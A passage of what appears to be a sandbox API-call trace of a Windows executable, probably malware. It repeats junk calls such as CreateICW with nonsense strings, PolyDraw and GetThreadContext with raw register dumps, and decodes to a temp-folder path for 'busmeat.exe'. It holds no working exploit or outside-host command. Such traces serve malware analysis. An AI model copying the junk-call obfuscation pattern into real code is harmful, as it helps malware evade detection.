[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.288] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.289] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.289] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.289] GetConsoleCP () returned 0x0
	[0066.289] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.289] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.290] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.290] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.290] GetConsoleCP () returned 0x0
	[0066.290] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.290] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.291] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.291] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.291] GetConsoleCP () returned 0x0
	[0066.291] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 